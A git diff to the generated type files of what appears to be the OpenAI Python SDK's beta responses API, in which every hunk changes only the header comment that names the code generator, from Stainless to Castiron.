diff --git a/src/openai/types/beta/beta_file_search_tool_param.py b/src/openai/types/beta/beta_file_search_tool_param.py
index 089f3721da..95b2a955db 100644
--- a/src/openai/types/beta/beta_file_search_tool_param.py
+++ b/src/openai/types/beta/beta_file_search_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_function_shell_tool.py b/src/openai/types/beta/beta_function_shell_tool.py
index dc3849a656..2f5d958a53 100644
--- a/src/openai/types/beta/beta_function_shell_tool.py
+++ b/src/openai/types/beta/beta_function_shell_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_function_shell_tool_param.py b/src/openai/types/beta/beta_function_shell_tool_param.py
index 985b68a6ec..5879d42dc1 100644
--- a/src/openai/types/beta/beta_function_shell_tool_param.py
+++ b/src/openai/types/beta/beta_function_shell_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_function_tool.py b/src/openai/types/beta/beta_function_tool.py
index b9bd6e340e..4e8e7cbbd8 100644
--- a/src/openai/types/beta/beta_function_tool.py
+++ b/src/openai/types/beta/beta_function_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_function_tool_param.py b/src/openai/types/beta/beta_function_tool_param.py
index 5a43a15f12..0975263749 100644
--- a/src/openai/types/beta/beta_function_tool_param.py
+++ b/src/openai/types/beta/beta_function_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_inline_skill.py b/src/openai/types/beta/beta_inline_skill.py
index 45113f354d..e5e6378b18 100644
--- a/src/openai/types/beta/beta_inline_skill.py
+++ b/src/openai/types/beta/beta_inline_skill.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_inline_skill_param.py b/src/openai/types/beta/beta_inline_skill_param.py
index e0c569db35..60f5d2e113 100644
--- a/src/openai/types/beta/beta_inline_skill_param.py
+++ b/src/openai/types/beta/beta_inline_skill_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_inline_skill_source.py b/src/openai/types/beta/beta_inline_skill_source.py
index 64be157527..283c29c46c 100644
--- a/src/openai/types/beta/beta_inline_skill_source.py
+++ b/src/openai/types/beta/beta_inline_skill_source.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_inline_skill_source_param.py b/src/openai/types/beta/beta_inline_skill_source_param.py
index 0786ba222c..d34abde5a8 100644
--- a/src/openai/types/beta/beta_inline_skill_source_param.py
+++ b/src/openai/types/beta/beta_inline_skill_source_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_local_environment.py b/src/openai/types/beta/beta_local_environment.py
index 0b60a6fd8a..3686133ca0 100644
--- a/src/openai/types/beta/beta_local_environment.py
+++ b/src/openai/types/beta/beta_local_environment.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_local_environment_param.py b/src/openai/types/beta/beta_local_environment_param.py
index da65ca9c86..1955051a8b 100644
--- a/src/openai/types/beta/beta_local_environment_param.py
+++ b/src/openai/types/beta/beta_local_environment_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_local_skill.py b/src/openai/types/beta/beta_local_skill.py
index 074f990759..b1db823509 100644
--- a/src/openai/types/beta/beta_local_skill.py
+++ b/src/openai/types/beta/beta_local_skill.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ..._models import BaseModel
diff --git a/src/openai/types/beta/beta_local_skill_param.py b/src/openai/types/beta/beta_local_skill_param.py
index dbfa134fa1..4c405d8a04 100644
--- a/src/openai/types/beta/beta_local_skill_param.py
+++ b/src/openai/types/beta/beta_local_skill_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_namespace_tool.py b/src/openai/types/beta/beta_namespace_tool.py
index 3949a55ca8..0903b2ed4e 100644
--- a/src/openai/types/beta/beta_namespace_tool.py
+++ b/src/openai/types/beta/beta_namespace_tool.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_namespace_tool_param.py b/src/openai/types/beta/beta_namespace_tool_param.py
index 752a61f0c6..813cc534de 100644
--- a/src/openai/types/beta/beta_namespace_tool_param.py
+++ b/src/openai/types/beta/beta_namespace_tool_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response.py b/src/openai/types/beta/beta_response.py
index 874960bc0f..19cd486ab0 100644
--- a/src/openai/types/beta/beta_response.py
+++ b/src/openai/types/beta/beta_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_response_apply_patch_tool_call.py b/src/openai/types/beta/beta_response_apply_patch_tool_call.py
index 3fa0bcdff3..ed3fe57a78 100644
--- a/src/openai/types/beta/beta_response_apply_patch_tool_call.py
+++ b/src/openai/types/beta/beta_response_apply_patch_tool_call.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_response_apply_patch_tool_call_output.py b/src/openai/types/beta/beta_response_apply_patch_tool_call_output.py
index 2b653a73e1..2c7acdd774 100644
--- a/src/openai/types/beta/beta_response_apply_patch_tool_call_output.py
+++ b/src/openai/types/beta/beta_response_apply_patch_tool_call_output.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_response_audio_delta_event.py b/src/openai/types/beta/beta_response_audio_delta_event.py
index 9ae1f370ef..f08e6f29e5 100644
--- a/src/openai/types/beta/beta_response_audio_delta_event.py
+++ b/src/openai/types/beta/beta_response_audio_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_audio_done_event.py b/src/openai/types/beta/beta_response_audio_done_event.py
index 7b4a8de20d..b1a5a3976d 100644
--- a/src/openai/types/beta/beta_response_audio_done_event.py
+++ b/src/openai/types/beta/beta_response_audio_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_audio_transcript_delta_event.py b/src/openai/types/beta/beta_response_audio_transcript_delta_event.py
index d23877676a..788617f159 100644
--- a/src/openai/types/beta/beta_response_audio_transcript_delta_event.py
+++ b/src/openai/types/beta/beta_response_audio_transcript_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_audio_transcript_done_event.py b/src/openai/types/beta/beta_response_audio_transcript_done_event.py
index f52c0e383c..12b4f5146b 100644
--- a/src/openai/types/beta/beta_response_audio_transcript_done_event.py
+++ b/src/openai/types/beta/beta_response_audio_transcript_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_code_interpreter_call_code_delta_event.py b/src/openai/types/beta/beta_response_code_interpreter_call_code_delta_event.py
index cdcf5bbcd5..64fc57bd59 100644
--- a/src/openai/types/beta/beta_response_code_interpreter_call_code_delta_event.py
+++ b/src/openai/types/beta/beta_response_code_interpreter_call_code_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_code_interpreter_call_code_done_event.py b/src/openai/types/beta/beta_response_code_interpreter_call_code_done_event.py
index d685753b5d..4ffb261814 100644
--- a/src/openai/types/beta/beta_response_code_interpreter_call_code_done_event.py
+++ b/src/openai/types/beta/beta_response_code_interpreter_call_code_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_code_interpreter_call_completed_event.py b/src/openai/types/beta/beta_response_code_interpreter_call_completed_event.py
index 272d5d5ab5..cb43c5fe5c 100644
--- a/src/openai/types/beta/beta_response_code_interpreter_call_completed_event.py
+++ b/src/openai/types/beta/beta_response_code_interpreter_call_completed_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_code_interpreter_call_in_progress_event.py b/src/openai/types/beta/beta_response_code_interpreter_call_in_progress_event.py
index 2d01717e8f..cf7f966744 100644
--- a/src/openai/types/beta/beta_response_code_interpreter_call_in_progress_event.py
+++ b/src/openai/types/beta/beta_response_code_interpreter_call_in_progress_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_code_interpreter_call_interpreting_event.py b/src/openai/types/beta/beta_response_code_interpreter_call_interpreting_event.py
index d92938ef45..17160212dd 100644
--- a/src/openai/types/beta/beta_response_code_interpreter_call_interpreting_event.py
+++ b/src/openai/types/beta/beta_response_code_interpreter_call_interpreting_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_code_interpreter_tool_call.py b/src/openai/types/beta/beta_response_code_interpreter_tool_call.py
index 380f289577..eeb0fc52c6 100644
--- a/src/openai/types/beta/beta_response_code_interpreter_tool_call.py
+++ b/src/openai/types/beta/beta_response_code_interpreter_tool_call.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_response_code_interpreter_tool_call_param.py b/src/openai/types/beta/beta_response_code_interpreter_tool_call_param.py
index 0ed7f9207e..09ff9921cc 100644
--- a/src/openai/types/beta/beta_response_code_interpreter_tool_call_param.py
+++ b/src/openai/types/beta/beta_response_code_interpreter_tool_call_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_compaction_item.py b/src/openai/types/beta/beta_response_compaction_item.py
index 3e76634842..3395aca704 100644
--- a/src/openai/types/beta/beta_response_compaction_item.py
+++ b/src/openai/types/beta/beta_response_compaction_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_compaction_item_param.py b/src/openai/types/beta/beta_response_compaction_item_param.py
index 3d98270201..607c94ff99 100644
--- a/src/openai/types/beta/beta_response_compaction_item_param.py
+++ b/src/openai/types/beta/beta_response_compaction_item_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_compaction_item_param_param.py b/src/openai/types/beta/beta_response_compaction_item_param_param.py
index b66c1baba8..2e8364ed1f 100644
--- a/src/openai/types/beta/beta_response_compaction_item_param_param.py
+++ b/src/openai/types/beta/beta_response_compaction_item_param_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_completed_event.py b/src/openai/types/beta/beta_response_completed_event.py
index bc07df52d9..b701e54f3e 100644
--- a/src/openai/types/beta/beta_response_completed_event.py
+++ b/src/openai/types/beta/beta_response_completed_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_computer_tool_call.py b/src/openai/types/beta/beta_response_computer_tool_call.py
index f04ea43fae..03650c6472 100644
--- a/src/openai/types/beta/beta_response_computer_tool_call.py
+++ b/src/openai/types/beta/beta_response_computer_tool_call.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_computer_tool_call_output_item.py b/src/openai/types/beta/beta_response_computer_tool_call_output_item.py
index c94a88b320..b9e65cd785 100644
--- a/src/openai/types/beta/beta_response_computer_tool_call_output_item.py
+++ b/src/openai/types/beta/beta_response_computer_tool_call_output_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_computer_tool_call_output_screenshot.py b/src/openai/types/beta/beta_response_computer_tool_call_output_screenshot.py
index fbb3844eea..96bcadd8f6 100644
--- a/src/openai/types/beta/beta_response_computer_tool_call_output_screenshot.py
+++ b/src/openai/types/beta/beta_response_computer_tool_call_output_screenshot.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_computer_tool_call_output_screenshot_param.py b/src/openai/types/beta/beta_response_computer_tool_call_output_screenshot_param.py
index 9697e97373..0f852ad57d 100644
--- a/src/openai/types/beta/beta_response_computer_tool_call_output_screenshot_param.py
+++ b/src/openai/types/beta/beta_response_computer_tool_call_output_screenshot_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_computer_tool_call_param.py b/src/openai/types/beta/beta_response_computer_tool_call_param.py
index 0072a88a44..9fcb19c4b8 100644
--- a/src/openai/types/beta/beta_response_computer_tool_call_param.py
+++ b/src/openai/types/beta/beta_response_computer_tool_call_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_container_reference.py b/src/openai/types/beta/beta_response_container_reference.py
index e65ce1fe3d..cc2a3cbd34 100644
--- a/src/openai/types/beta/beta_response_container_reference.py
+++ b/src/openai/types/beta/beta_response_container_reference.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_content_part_added_event.py b/src/openai/types/beta/beta_response_content_part_added_event.py
index 1a66e4da0b..5dc7cbbcf6 100644
--- a/src/openai/types/beta/beta_response_content_part_added_event.py
+++ b/src/openai/types/beta/beta_response_content_part_added_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_response_content_part_done_event.py b/src/openai/types/beta/beta_response_content_part_done_event.py
index d79d1db23e..daf61a0f52 100644
--- a/src/openai/types/beta/beta_response_content_part_done_event.py
+++ b/src/openai/types/beta/beta_response_content_part_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_response_conversation_param.py b/src/openai/types/beta/beta_response_conversation_param.py
index 565462c4ba..6eb6a310c6 100644
--- a/src/openai/types/beta/beta_response_conversation_param.py
+++ b/src/openai/types/beta/beta_response_conversation_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ..._models import BaseModel
diff --git a/src/openai/types/beta/beta_response_conversation_param_param.py b/src/openai/types/beta/beta_response_conversation_param_param.py
index c70bc81098..31c17daa25 100644
--- a/src/openai/types/beta/beta_response_conversation_param_param.py
+++ b/src/openai/types/beta/beta_response_conversation_param_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_created_event.py b/src/openai/types/beta/beta_response_created_event.py
index 4a7097d292..66da68d06d 100644
--- a/src/openai/types/beta/beta_response_created_event.py
+++ b/src/openai/types/beta/beta_response_created_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_custom_tool_call.py b/src/openai/types/beta/beta_response_custom_tool_call.py
index 0cb2c13396..159f01c294 100644
--- a/src/openai/types/beta/beta_response_custom_tool_call.py
+++ b/src/openai/types/beta/beta_response_custom_tool_call.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_response_custom_tool_call_input_delta_event.py b/src/openai/types/beta/beta_response_custom_tool_call_input_delta_event.py
index 09676873c6..b3142e5538 100644
--- a/src/openai/types/beta/beta_response_custom_tool_call_input_delta_event.py
+++ b/src/openai/types/beta/beta_response_custom_tool_call_input_delta_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_custom_tool_call_input_done_event.py b/src/openai/types/beta/beta_response_custom_tool_call_input_done_event.py
index b8eac13b21..7ff33bbf22 100644
--- a/src/openai/types/beta/beta_response_custom_tool_call_input_done_event.py
+++ b/src/openai/types/beta/beta_response_custom_tool_call_input_done_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_custom_tool_call_item.py b/src/openai/types/beta/beta_response_custom_tool_call_item.py
index 74c31845ec..9509ee3828 100644
--- a/src/openai/types/beta/beta_response_custom_tool_call_item.py
+++ b/src/openai/types/beta/beta_response_custom_tool_call_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_custom_tool_call_output.py b/src/openai/types/beta/beta_response_custom_tool_call_output.py
index ad2dc830b6..119cd482e7 100644
--- a/src/openai/types/beta/beta_response_custom_tool_call_output.py
+++ b/src/openai/types/beta/beta_response_custom_tool_call_output.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Union, Optional
from typing_extensions import Literal, Annotated, TypeAlias
diff --git a/src/openai/types/beta/beta_response_custom_tool_call_output_item.py b/src/openai/types/beta/beta_response_custom_tool_call_output_item.py
index 018140f6d4..fe1cd96e30 100644
--- a/src/openai/types/beta/beta_response_custom_tool_call_output_item.py
+++ b/src/openai/types/beta/beta_response_custom_tool_call_output_item.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_custom_tool_call_output_param.py b/src/openai/types/beta/beta_response_custom_tool_call_output_param.py
index 320be64d69..1b925a761d 100644
--- a/src/openai/types/beta/beta_response_custom_tool_call_output_param.py
+++ b/src/openai/types/beta/beta_response_custom_tool_call_output_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_custom_tool_call_param.py b/src/openai/types/beta/beta_response_custom_tool_call_param.py
index 0681725e0a..29e9775d5b 100644
--- a/src/openai/types/beta/beta_response_custom_tool_call_param.py
+++ b/src/openai/types/beta/beta_response_custom_tool_call_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/beta/beta_response_error.py b/src/openai/types/beta/beta_response_error.py
index 0d423fa1fa..baa90349ea 100644
--- a/src/openai/types/beta/beta_response_error.py
+++ b/src/openai/types/beta/beta_response_error.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_error_event.py b/src/openai/types/beta/beta_response_error_event.py
index b1f8b7923a..6d0b0a77ad 100644
--- a/src/openai/types/beta/beta_response_error_event.py
+++ b/src/openai/types/beta/beta_response_error_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_failed_event.py b/src/openai/types/beta/beta_response_failed_event.py
index 1abe880c63..1ae1a777f3 100644
--- a/src/openai/types/beta/beta_response_failed_event.py
+++ b/src/openai/types/beta/beta_response_failed_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_file_search_call_completed_event.py b/src/openai/types/beta/beta_response_file_search_call_completed_event.py
index 3c4f7faa1c..b11587ac37 100644
--- a/src/openai/types/beta/beta_response_file_search_call_completed_event.py
+++ b/src/openai/types/beta/beta_response_file_search_call_completed_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_file_search_call_in_progress_event.py b/src/openai/types/beta/beta_response_file_search_call_in_progress_event.py
index b75513f8e0..db26f9cfca 100644
--- a/src/openai/types/beta/beta_response_file_search_call_in_progress_event.py
+++ b/src/openai/types/beta/beta_response_file_search_call_in_progress_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_file_search_call_searching_event.py b/src/openai/types/beta/beta_response_file_search_call_searching_event.py
index 671bb75be5..59d721f7b6 100644
--- a/src/openai/types/beta/beta_response_file_search_call_searching_event.py
+++ b/src/openai/types/beta/beta_response_file_search_call_searching_event.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_file_search_tool_call.py b/src/openai/types/beta/beta_response_file_search_tool_call.py
index c621c62dcd..3ad9ef0421 100644
--- a/src/openai/types/beta/beta_response_file_search_tool_call.py
+++ b/src/openai/types/beta/beta_response_file_search_tool_call.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Union, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/beta/beta_response_file_search_tool_call_param.py b/src/openai/types/beta/beta_response_file_search_tool_call_param.py
index 60fadaaf89..6b48569ac2 100644
--- a/src/openai/types/beta/beta_response_file_search_tool_call_param.py
+++ b/src/openai/types/beta/beta_response_file_search_tool_call_param.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
